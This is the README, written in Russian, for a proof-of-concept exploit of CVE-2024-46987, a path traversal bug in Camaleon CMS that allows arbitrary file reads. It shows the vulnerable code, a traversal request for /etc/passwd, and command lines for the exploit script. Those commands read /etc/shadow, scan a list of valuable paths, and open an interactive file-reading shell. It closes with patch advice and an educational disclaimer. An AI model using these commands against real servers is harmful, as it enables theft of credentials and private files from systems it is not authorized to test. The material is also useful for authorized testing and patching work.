
PoC-эксплойт для CVE-2024-46987 — произвольный обход пути (чтение файлов) в Camaleon CMS
| Поле | Детали |
|---|
| CVE | CVE-2024-46987 |
| Продукт | Camaleon CMS |
| Версии | >= 2.8.0, < 2.8.2 (также подтверждено на 2.9.0) |
| Тип | Обход пути / Произвольное чтение файлов (CWE-22) |
| Аутентификация | Требуется (любая учётная запись с низкими привилегиями) |
| CVSS | 7.7 High — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| Исправлено в | 2.8.2 |
MediaController#download_private_file передаёт params[:file] без санитизации в fetch_file:
# Vulnerable sink
fetch_file("private/#{params[:file]}")
Нормализация пути не применяется перед использованием значения с send_file, что позволяет аутентифицированному злоумышленнику выйти за пределы каталога private/ с помощью последовательностей ../ и читать произвольные файлы, к которым процесс Rails имеет доступ.
Уязвимая конечная точка:
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
requestspip3 install requests
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
# Single file
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
| Флаг | Описание |
|---|---|
-u | Базовый URL цели |
-U / -P | Имя пользователя и пароль CMS |
--cookie | Строка cookie в сыром виде (альтернатива учётным данным) |
-f | Путь к файлу для чтения (по умолчанию: /etc/passwd) |
-d | Глубина обхода — количество ../ (по умолчанию: 10) |
--interesting | Перебор встроенного списка ценных путей |
--interactive | Интерактивная оболочка чтения файлов |
--no-verify | Отключить проверку сертификата TLS |
--debug | Подробный вывод для диагностики ошибок аутентификации |
/procФайлы в /proc/self/ (например, environ, cmdline) возвращают HTTP 200, но с пустым телом. Это ожидаемо — ядро сообщает их размер как 0, поэтому send_file в Rails ничего не передаёт. Используйте обычные плоские файлы.
Обновите Camaleon CMS до версии 2.8.2 или новее. Патч добавляет правильную нормализацию пути и гарантирует, что разрешённый путь остаётся в пределах целевого каталога перед вызовом send_file.
Альтернативно:
...Эта концептуальная демонстрация (proof-of-concept) публикуется в образовательных целях и для помощи специалистам по безопасности в понимании и воспроизведении уязвимости в авторизованных тестовых средах. Автор не несёт ответственности за любое неправомерное использование. Всегда получайте явное письменное разрешение перед тестированием систем, которые вам не принадлежат.